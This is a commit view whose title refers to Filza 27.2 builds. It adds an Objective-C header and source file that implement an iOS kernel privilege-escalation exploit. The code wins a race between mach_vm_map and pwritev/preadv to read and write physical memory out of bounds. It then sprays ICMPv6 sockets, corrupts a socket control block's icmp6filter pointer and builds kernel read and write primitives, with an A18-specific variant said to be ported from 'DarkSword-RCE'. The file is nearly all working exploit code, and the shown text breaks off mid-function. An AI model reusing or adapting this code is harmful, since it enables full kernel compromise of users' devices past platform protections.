Filza 27.2 worse_query: public and developer builds

This commit is contained in:
admin committed 2026-11-11 03:40:37 +08:00
commit 91a6adf723
267 files changed
+42015

No files matched your search

+17
View File
@@ -0,0 +1,17 @@
#import <stdio.h>
#import <stdint.h>
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)
#define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)
#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)
#define EARLY_KRW_LENGTH 0x20
int kexploit_opa334(void);
uint64_t early_kread64(uint64_t where);
void early_kwrite64(uint64_t where, uint64_t what);
void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]);
void early_kread(uint64_t where, void *read_buf, size_t size);
+980
View File
@@ -0,0 +1,980 @@
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <mach-o/dyld.h>
#import <mach/mach.h>
#import <sys/fileport.h>
#import <sys/socket.h>
#import <sys/utsname.h>
#import <unistd.h>
#define IPPROTO_ICMPV6 58
#define ICMP6_FILTER 18
#import <IOSurface/IOSurfaceRef.h>
#import <pthread.h>
#import <sys/uio.h>
#import <sys/syscall.h>
#import <execinfo.h>
#import "offsets.h"
#import "krw.h"
#import "kexploit_opa334.h"
extern bool gIsPACSupported;
extern bool gIsA18Above;
void IOSurfacePrefetchPages(IOSurfaceRef surface);
#define FAILURE(c) \
{ \
fflush(stdout); \
sleep(2); \
exit(c); \
}
#define PRINT_VAR(var) \
{ \
printf(#var ": %#llx\n", var); \
fflush(stdout); \
sleep(2); \
}
#define OOB_OFFSET 0x100
#define OOB_SIZE 0xf00
#define OOB_PAGES_NUM 2
// xnu-11417.140.69/bsd/sys/proc_info.h
#define PROC_PIDFILEPORTSOCKETINFO 3 /* out: socket_fdinfo */
// xnu-11417.140.69/bsd/sys/proc_info_private.h
#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6
#ifdef __arm64e__
static uint64_t __attribute((naked)) __xpaci(uint64_t a) {
asm(".long 0xDAC143E0"); // XPACI X0
asm("ret");
}
#else
#define __xpaci(x) x
#endif
void memset64(void *ptr, uint64_t val, size_t size) {
uint8_t *ptr8 = ptr;
for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) {
uint64_t *ptr64 = (uint64_t *)&ptr8[idx];
*ptr64 = val;
}
}
int readFd;
int writeFd;
kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address,
mach_vm_size_t size, mach_vm_offset_t mask, int flags,
mem_entry_name_port_t object,
memory_object_offset_t offset, boolean_t copy,
vm_prot_t cur_protection, vm_prot_t max_protection,
vm_inherit_t inheritance);
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address,
mach_vm_size_t size, int flags);
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address,
mach_vm_size_t size);
int highestSuccessIdx = 0;
int successReadCount = 0;
struct iovec iov;
uint64_t randomMarker;
uint64_t wiredPageMarker;
mach_port_t pcObject = MACH_PORT_NULL;
mach_vm_address_t pcAddress = 0;
mach_vm_size_t pcSize;
NSMutableArray<NSNumber *> *socketPorts;
NSMutableArray<NSNumber *> *socketPcbIds;
#define GETSOCKOPT_READ_LEN 32
void *getsockoptReadData = NULL;
volatile uint8_t goSync = 0;
volatile uint8_t raceSync = 0;
volatile uint8_t freeThreadStart = 0;
volatile mach_vm_address_t freeTarget = 0;
volatile mach_vm_size_t freeTargetSize = 0;
volatile mem_entry_name_port_t targetObject = 0;
volatile memory_object_offset_t targetObjectOffset = 0;
NSMutableDictionary<NSNumber *, id> *gMlockDict;
int controlSocket = 0;
int rwSocket = 0;
uint64_t controlSocketPcb = 0;
uint64_t rwSocketPcb = 0;
uint8_t controlData[EARLY_KRW_LENGTH];
void setTargetKaddr(uint64_t where) {
memset(controlData, 0, EARLY_KRW_LENGTH);
*(uint64_t *)controlData = where;
int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
controlData, EARLY_KRW_LENGTH);
if (res != 0) {
printf("[-] setsockopt failed!!!\n");
FAILURE(0);
}
}
#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2)
void *default_file_content;
char executablePath[PATH_MAX];
const char *executableName;
pthread_t freeThread;
void init_globals(void) {
socketPorts = [NSMutableArray new];
socketPcbIds = [NSMutableArray new];
getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN);
gMlockDict = [NSMutableDictionary new];
default_file_content = calloc(1, TARGET_FILE_SIZE);
randomMarker = (uint64_t)arc4random() << 32 | arc4random();
wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random();
}
void create_target_file(const char *path) {
FILE *f = fopen(path, "w");
fwrite(default_file_content, 1, TARGET_FILE_SIZE, f);
fclose(f);
}
void init_target_file() {
char *read_file_path = calloc(1, 1024);
char *write_file_path = calloc(1, 1024);
confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024);
confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024);
char read_file_name[100];
char write_file_name[100];
snprintf(read_file_name, 100, "/%u", arc4random());
snprintf(write_file_name, 100, "/%u", arc4random());
strcat(read_file_path, read_file_name);
strcat(write_file_path, write_file_name);
create_target_file(read_file_path);
create_target_file(write_file_path);
readFd = open(read_file_path, O_RDWR);
writeFd = open(write_file_path, O_RDWR);
printf("[+] readFd: %d\n", readFd);
printf("[+] writeFd: %d\n", writeFd);
remove(read_file_path);
remove(write_file_path);
fcntl(readFd, F_NOCACHE, 1);
fcntl(writeFd, F_NOCACHE, 1);
}
void *free_thread(void *arg) {
while (freeThreadStart == 0)
;
while (goSync == 0)
;
while (goSync != 0) {
while (raceSync == 0)
;
kern_return_t kr =
mach_vm_map(mach_task_self(), &freeTarget, freeTargetSize, 0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, targetObject,
targetObjectOffset, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT,
VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
printf("[-] mach_vm_map failed !!!\n");
printf("[+] freeTarget: %#llx\n", freeTarget);
printf("[+] targetObject: %#x\n", targetObject);
FAILURE(0);
}
raceSync = 0;
}
return NULL;
}
fileport_t spray_socket(NSMutableArray *socketPorts,
NSMutableArray *socketPcbIds) {
pthread_set_qos_class_self_np(QOS_CLASS_BACKGROUND, 0);
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
if (fd == -1) {
printf("[-] socket create failed!!!");
return fd;
}
pthread_set_qos_class_self_np(QOS_CLASS_USER_INITIATED, 0);
fileport_t outputSocketPort = 0;
fileport_makeport(fd, &outputSocketPort);
close(fd);
void *socketInfo = calloc(1, 0x400);
int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, 0x400);
uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110);
[socketPorts addObject:@(outputSocketPort)];
[socketPcbIds addObject:@(inp_gencnt)];
return outputSocketPort;
}
void sockets_release(NSMutableArray *socketPorts,
NSMutableArray *socketPcbIds) {
while (socketPorts.lastObject) {
mach_port_deallocate(
mach_task_self(),
((NSNumber *)socketPorts.lastObject).unsignedIntValue);
[socketPorts removeLastObject];
[socketPcbIds removeLastObject];
}
}
IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) {
IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef) @{
@"IOSurfaceAddress" : @(address),
@"IOSurfaceAllocSize" : @(size)
});
IOSurfacePrefetchPages(surface);
return surface;
}
void surface_mlock(uint64_t address, uint64_t size) {
gMlockDict[@(address)] =
(__bridge id)create_surface_with_address(address, size);
}
void surface_munlock(uint64_t address, uint64_t size) {
IOSurfaceRef ref = (__bridge IOSurfaceRef)gMlockDict[@(address)];
if (ref) {
CFRelease(ref);
[gMlockDict removeObjectForKey:@(address)];
}
}
void pe_init(void) {
init_target_file();
if (!executableName) {
uint32_t sz = PATH_MAX;
_NSGetExecutablePath(executablePath, &sz);
executableName = strrchr(executablePath, '/');
if (executableName) {
executableName++;
} else {
executableName = executablePath;
}
}
pthread_attr_t pattr;
pthread_attr_init(&pattr);
pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
pthread_create(&freeThread, &pattr, free_thread, NULL);
}
void create_physically_contiguous_mapping(mach_port_t *port,
mach_vm_address_t *address,
mach_vm_size_t size) {
NSDictionary *params = @{
(__bridge id)kIOSurfaceAllocSize : @(size),
@"IOSurfaceMemoryRegion" : @"PurpleGfxMem",
};
IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params);
if (!surface) {
printf("[-] Failed to create surface!!!\n");
FAILURE(0);
}
void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);
printf("[+] physicalMappingAddress: %p\n", physicalMappingAddress);
mach_port_t memoryObject;
kern_return_t kr = mach_make_memory_entry_64(
mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress,
VM_PROT_DEFAULT, &memoryObject, 0);
if (!surface) {
printf("[-] mach_make_memory_entry_64 failed!!!\n");
FAILURE(0);
}
mach_vm_address_t newMappingAddress;
kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0,
VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0,
0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
printf("[-] mach_vm_map failed!!!\n");
FAILURE(0);
}
CFRelease(surface);
*port = memoryObject;
*address = newMappingAddress;
}
void initialize_physical_read_write(uint64_t contiguous_mapping_size) {
pcSize = contiguous_mapping_size;
create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize);
printf("[+] pcObject: %u\n", pcObject);
printf("[+] pcAddress: %#llx\n", pcAddress);
memset64((void *)pcAddress, randomMarker, pcSize);
freeTarget = pcAddress, freeTargetSize = pcSize;
freeThreadStart = 1;
goSync = 1;
}
kern_return_t physical_oob_read_mo(mach_port_t memoryObject,
mach_vm_offset_t memoryObjectOffset,
mach_vm_size_t size, mach_vm_offset_t offset,
void *buffer) {
targetObject = memoryObject;
targetObjectOffset = memoryObjectOffset;
iov.iov_base = (void *)(pcAddress + 0x3f00);
iov.iov_len = offset + size;
*(uint64_t *)buffer = randomMarker;
*(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker;
bool readRaceSucceeded = false;
int w = 0;
for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) {
raceSync = 1;
w = pwritev(readFd, &iov, 1, 0x3f00);
while (raceSync == 1)
;
kern_return_t kr =
mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
printf("[+] mach_vm_map failed!!!\n");
FAILURE(0);
}
if (w == -1) {
int r = pread(readFd, buffer, size, 0x3f00 + offset);
uint64_t marker = *(uint64_t *)buffer;
if (marker != randomMarker) {
readRaceSucceeded = true;
successReadCount++;
if (tryIdx > highestSuccessIdx) {
highestSuccessIdx = tryIdx;
}
break;
} else {
usleep(1);
}
}
if (tryIdx == 500) {
break;
}
}
targetObject = 0;
if (!readRaceSucceeded)
return 1;
return KERN_SUCCESS;
}
kern_return_t physical_oob_read_mo_with_retry(
mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset,
mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) {
kern_return_t kr;
do {
kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size,
offset, buffer);
} while (kr != KERN_SUCCESS);
return kr;
}
void physical_oob_write_mo(mach_port_t memoryObject,
mach_vm_offset_t memoryObjectOffset,
mach_vm_size_t size, mach_vm_offset_t offset,
void *buffer) {
targetObject = memoryObject;
targetObjectOffset = memoryObjectOffset;
iov.iov_base = (void *)(pcAddress + 0x3f00);
iov.iov_len = offset + size;
pwrite(writeFd, buffer, size, 0x3f00 + offset);
for (int tryIdx = 0; tryIdx < 20; tryIdx++) {
raceSync = 1;
preadv(writeFd, &iov, 1, 0x3f00);
while (raceSync == 1)
;
kern_return_t kr =
mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
printf("[-] mach_vm_map failed!!!\n");
FAILURE(0);
}
}
targetObject = 0;
}
void set_target_kaddr(uint64_t where) {
memset(controlData, 0, EARLY_KRW_LENGTH);
*(uint64_t *)controlData = where;
int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
controlData, EARLY_KRW_LENGTH);
if (res != 0) {
printf("[-] setsockopt failed!!!");
FAILURE(0);
}
}
void early_kread(uint64_t where, void *read_buf, size_t size) {
if(!is_kaddr_valid(where)) {
printf("[%s:%d] kaddr isn't valid, spinning here. kaddr: 0x%llx\n", __FUNCTION__, __LINE__, where);
void *bt[64]; int n = backtrace(bt, 64);
char **s = backtrace_symbols(bt, n);
for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]);
free(s);
*(int *)1 = 0; // make crash intentionally
}
if (size > EARLY_KRW_LENGTH) {
printf("[!] error: (size > EARLY_KRW_LENGTH)\n");
FAILURE(0);
}
set_target_kaddr(where);
socklen_t read_data_length = (socklen_t)size;
int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length);
if (res != 0) {
printf("[-] getsockopt failed!!!\n");
void *bt[64]; int n = backtrace(bt, 64);
char **s = backtrace_symbols(bt, n);
for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]);
free(s);
*(int *)1 = 0; // make crash intentionally
FAILURE(0);
}
}
uint64_t early_kread64(uint64_t where) {
uint64_t value = 0;
early_kread(where, &value, sizeof(value));
return value;
}
void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) {
set_target_kaddr(where);
int res = setsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH);
if (res != 0) {
printf("[-] setsockopt failed!!!");
FAILURE(0);
}
}
void early_kwrite64(uint64_t where, uint64_t what) {
uint8_t writeBuf[EARLY_KRW_LENGTH];
early_kread(where, writeBuf, EARLY_KRW_LENGTH);
*(uint64_t *)writeBuf = what;
early_kwrite32bytes(where, writeBuf);
}
int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) {
if (doRead) {
physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
}
int searchStartIdx = 0;
bool targetFound = false;
uint64_t pcbStartOffset = 0;
void *found = NULL;
do {
found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName));
if (found) {
pcbStartOffset =
((uint64_t)found - (uint64_t)readBuffer) & 0xFFFFFFFFFFFFFC00;
if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) == 0x0000ffffffffffffULL) {
targetFound = true;
break;
}
}
searchStartIdx += 0x400;
} while (found != NULL && searchStartIdx < OOB_SIZE);
if (targetFound) {
printf("[+] pcbStartOffset: %#llx\n", pcbStartOffset);
uint64_t targetInpGencnt =
*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x78);
printf("[+] targetInpGencnt: %#llx\n", targetInpGencnt);
if (targetInpGencnt == socketPcbIds.lastObject.unsignedLongLongValue) {
printf("[-] Found last PCB\n");
return -1;
}
bool isOurPcd = false;
int controlSocketIdx = 0;
for (int sockIdx = 0; sockIdx < socketPorts.count; sockIdx++) {
if (socketPcbIds[sockIdx].unsignedLongLongValue ==
targetInpGencnt) {
isOurPcd = true;
controlSocketIdx = sockIdx;
break;
}
}
if (!isOurPcd) {
printf("[-] Found freed PCB Page!\n");
return -1;
}
if ([targetInpGencntList containsObject:@(targetInpGencnt)]) {
printf("[-] Found old PCB Page!!!!\n");
return -1;
} else {
[targetInpGencntList addObject:@(targetInpGencnt)];
}
uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28) - 0x20;
uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt);
printf("[+] inpListNextPointer: %#llx\n", inpListNextPointer);
printf("[+] icmp6Filter: %#llx\n", icmp6Filter);
rwSocketPcb = inpListNextPointer;
memcpy(writeBuffer, readBuffer, OOB_SIZE);
*(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt) = inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt;
*(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) = 0;
// breakpoint: if you can get here without panic (not 100% successful),
// at least it proves that OOB physical readings are working.
// access to physmap does not appear to be protected by MTE (xnu source).
printf("[*] MTE checkpoint: OOB physical read/write reached without panic\n");
NSLog(@"[*] MTE checkpoint: OOB physical read/write reached without panic");
printf("[+] Corrupting icmp6filter pointer...\n");
while (true) {
physical_oob_write_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, writeBuffer);
physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
uint64_t newIcmp6Filter =
*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt);
if (newIcmp6Filter ==
inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt) {
printf("[+] target corrupted: %#llx\n",
*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt));
break;
}
}
int sock = fileport_makefd(
(fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue);
socklen_t len = GETSOCKOPT_READ_LEN;
int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER,
getsockoptReadData, &len);
if (res != 0) {
printf("[-] getsockopt failed!!!\n");
void *bt[64]; int n = backtrace(bt, 64);
char **s = backtrace_symbols(bt, n);
for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]);
free(s);
*(int *)1 = 0; // make crash intentionally
FAILURE(0);
}
uint64_t marker = *(uint64_t *)getsockoptReadData;
if (marker != -1) {
printf("[+] Found control_socket at idx: %u\n", controlSocketIdx);
controlSocket = sock;
rwSocket =
fileport_makefd((fileport_t)socketPorts[controlSocketIdx + 1]
.unsignedLongLongValue);
return KERN_SUCCESS;
} else {
printf("[-] Failed to corrupt control_socket at idx: %u\n",
controlSocketIdx);
}
}
return -1;
}
bool isA18Device = false;
void pe_v1(void) {
uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10);
uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE);
uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE;
uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize;
printf("[i] totalSearchMappingPagesNum: %#llx\n",
totalSearchMappingPagesNum);
printf("[i] searchMappingSize: %#llx\n", searchMappingSize);
printf("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize);
printf("[i] searchMappingNum: %#llx\n", searchMappingNum);
void *readBuffer = calloc(1, OOB_SIZE);
void *writeBuffer = calloc(1, OOB_SIZE);
initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);
mach_vm_address_t wiredMapping = 0;
mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL;
kern_return_t kr = KERN_SUCCESS;
if (isA18Device) {
kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE);
printf("[+] wiredMapping: %#llx\n", wiredMapping);
}
NSMutableArray *targetInpGencntList = [NSMutableArray new];
while (true) {
if (isA18Device) {
surface_mlock(wiredMapping, wiredMappingSize);
for (int s = 0; s < (wiredMappingSize / 0x4000); s++) {
*(uint64_t *)(wiredMapping + s * PAGE_SIZE) = 0;
}
}
NSMutableArray<NSNumber *> *searchMappings = [NSMutableArray new];
for (uint64_t s = 0; s < searchMappingNum; s++) {
mach_vm_address_t searchMappingAddress = 0;
kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
if (kr != KERN_SUCCESS) {
printf("[-] mach_vm_allocate failed!!!\n");
FAILURE(0);
}
for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) {
*(uint64_t *)(searchMappingAddress + k) = randomMarker;
}
[searchMappings addObject:@(searchMappingAddress)];
}
socketPorts = [NSMutableArray new];
socketPcbIds = [NSMutableArray new];
unsigned socketPortsCount = 0;
#define OPEN_MAX 10240
int maxfiles = OPEN_MAX * 3;
int leeway = 4096 * 2;
for (unsigned socketCount = 0; socketCount < (maxfiles - leeway);
socketCount++) {
mach_port_t port = spray_socket(socketPorts, socketPcbIds);
if (port == -1) {
printf("[-] Failed to spray sockets: %u\n", socketCount);
break;
} else {
socketPortsCount++;
}
}
uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue;
uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue;
printf("[i] socketPortsCount: %u\n", socketPortsCount);
printf("[i] startPcbId: %llu\n", startPcbId);
printf("[i] endPcbId: %llu\n", endPcbId);
bool success = false;
for (uint64_t s = 0; s < searchMappingNum; s++) {
mach_vm_address_t searchMappingAddress =
searchMappings[s].unsignedLongLongValue;
printf("[i] looking in search mapping: %llu\n", s);
mach_port_t memoryObject = 0;
mach_vm_size_t memoryObjectSize = searchMappingSize;
kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
if (kr != KERN_SUCCESS) {
printf("[-] mach_make_memory_entry_64 failed!!!");
FAILURE(0);
}
surface_mlock(searchMappingAddress, searchMappingSize);
mach_vm_offset_t seekingOffset = 0;
while (seekingOffset < searchMappingSize) {
kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE,
OOB_OFFSET, readBuffer);
if (kr == KERN_SUCCESS) {
if (find_and_corrupt_socket(memoryObject, seekingOffset,
readBuffer, writeBuffer,
targetInpGencntList,
false) == KERN_SUCCESS) {
success = true;
break;
}
}
seekingOffset += PAGE_SIZE;
}
kr = mach_port_deallocate(mach_task_self(), memoryObject);
if (kr != KERN_SUCCESS) {
printf("[-] mach_port_deallocate failed!!!\n");
FAILURE(0);
}
if (success == true) {
break;
}
}
sockets_release(socketPorts, socketPcbIds);
for (uint64_t s = 0; s < searchMappingNum; s++) {
mach_vm_address_t searchMappingAddress =
searchMappings.lastObject.unsignedLongLongValue;
[searchMappings removeLastObject];
kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress,
searchMappingSize);
}
if (isA18Device) {
surface_munlock(wiredMapping, wiredMappingSize);
}
if (success == true) {
break;
}
}
}
void pe_v2(void) {
// A18-specific exploit path: "wired page marker" technique.
// Allocates 2GB of individually wired pages tagged with markers,
// then scans physical memory via OOB read. When a tagged page is found,
// deallocates it and sprays sockets into the freed physical page.
// This targeted approach replaces pe_v1's brute-force mass spray.
// Ported from DarkSword-RCE pe_main.js pe_v2() (lines 1151-1278).
void *readBuffer = calloc(1, OOB_SIZE);
void *writeBuffer = calloc(1, OOB_SIZE);
initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);
mach_vm_size_t wiredEntrySize = PAGE_SIZE;
mach_vm_size_t wiredTotalSize = 1024ULL * 1024ULL * 1024ULL * 2ULL; // 2GB
uint64_t nWiredEntries = wiredTotalSize / wiredEntrySize;
printf("[i] pe_v2: Allocating %llu wired pages (2GB)...\n", nWiredEntries);
// Array to track wired page addresses
NSMutableArray<NSNumber *> *wiredAddrs = [[NSMutableArray alloc] initWithCapacity:(NSUInteger)nWiredEntries];
kern_return_t kr = KERN_SUCCESS;
mach_vm_address_t wiredAddr = 0;
for (uint64_t i = 0; i < nWiredEntries; i++) {
if (i == 0) {
kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("[-] pe_v2: initial mach_vm_allocate failed\n");
FAILURE(0);
}
} else {
// Allocate contiguously after the last page
mach_vm_address_t nextAddr = wiredAddrs.lastObject.unsignedLongLongValue + wiredEntrySize;
do {
wiredAddr = nextAddr;
kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_FIXED);
nextAddr += wiredEntrySize;
} while (kr != KERN_SUCCESS);
}
[wiredAddrs addObject:@(wiredAddr)];
surface_mlock(wiredAddr, wiredEntrySize);
// Tag each page: marker at +0x0, own address at +0x8
*(uint64_t *)wiredAddr = wiredPageMarker;
*(uint64_t *)(wiredAddr + 0x8) = wiredAddr;
}
printf("[+] pe_v2: Allocated %llu wired pages\n", nWiredEntries);
NSMutableArray *targetInpGencntList = [NSMutableArray new];
while (true) {
mach_vm_size_t searchMappingSize = 0x800ULL * PAGE_SIZE;
mach_vm_address_t searchMappingAddress = 0;
kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
if (kr != KERN_SUCCESS) {
printf("[-] pe_v2: mach_vm_allocate search mapping failed\n");
FAILURE(0);
}
for (uint64_t k = 0; k < searchMappingSize; k += PAGE_SIZE) {
*(uint64_t *)(searchMappingAddress + k) = randomMarker;
}
surface_mlock(searchMappingAddress, searchMappingSize);
mach_port_t memoryObject = 0;
mach_vm_size_t memoryObjectSize = searchMappingSize;
kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
if (kr != KERN_SUCCESS) {
printf("[-] pe_v2: mach_make_memory_entry_64 failed\n");
FAILURE(0);
}
socketPorts = [NSMutableArray new];
socketPcbIds = [NSMutableArray new];
unsigned socketPortsCount = 0;
uint64_t maxSocketsCount = 0x5800;
uint64_t splitCount = 8;
bool success = false;
mach_vm_offset_t seekingOffset = 0;
while (seekingOffset < searchMappingSize) {
kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
if (kr != KERN_SUCCESS) {
seekingOffset += PAGE_SIZE;
continue;
}
uint64_t firstQword = *(uint64_t *)readBuffer;
if (firstQword == wiredPageMarker) {
// Found a wired page! Read back the stored virtual address.
uint64_t wiredPage = *(uint64_t *)((uint8_t *)readBuffer + 0x8);
printf("[i] pe_v2: offset %#llx: Found wired page %#llx\n", seekingOffset, wiredPage);
// Remove from tracking array
NSNumber *wiredPageNum = @(wiredPage);
NSUInteger idx = [wiredAddrs indexOfObject:wiredPageNum];
if (idx == NSNotFound) {
printf("[-] pe_v2: Found old/duplicate wired page, skipping\n");
seekingOffset += PAGE_SIZE;
continue;
}
[wiredAddrs removeObjectAtIndex:idx];
// Clear the marker and deallocate — this frees the physical page
*(uint64_t *)wiredPage = 0;
*(uint64_t *)(wiredPage + 0x8) = 0;
kr = mach_vm_deallocate(mach_task_self(), wiredPage, wiredEntrySize);
if (kr != KERN_SUCCESS) {
printf("[-] pe_v2: Failed to deallocate wired page\n");
}
// Incremental socket spray into the freed physical page
for (uint64_t sc = 0; sc < maxSocketsCount / splitCount; sc++) {
mach_port_t port = spray_socket(socketPorts, socketPcbIds);
if (port == (mach_port_t)-1) {
printf("[-] pe_v2: Failed to spray sockets: %u\n", socketPortsCount);
break;
}
socketPortsCount++;
}
// Try to find and corrupt a socket on this page
if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, true) == KERN_SUCCESS) {
printf("[+] pe_v2: offset %#llx: Reallocated PCB page!\n", seekingOffset);
success = true;
break;
} else {
// If we've exhausted sockets, release all and wait for zone trimming
if (socketPortsCount >= maxSocketsCount) {
sockets_release(socketPorts, socketPcbIds);
socketPorts = [NSMutableArray new];
socketPcbIds = [NSMutableArray new];
socketPortsCount = 0;
printf("[+] pe_v2: Socket limit reached, waiting for zone trimming...\n");
sleep(20);
}
// Restart scanning from beginning
seekingOffset = 0;
}
} else if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) {
// Found a PCB page without wired marker
printf("[+] pe_v2: offset %#llx: Found PCB page!\n", seekingOffset);
success = true;
break;
} else {
seekingOffset += PAGE_SIZE;
}
}
kr = mach_port_deallocate(mach_task_self(), memoryObject);
sockets_release(socketPorts, socketPcbIds);
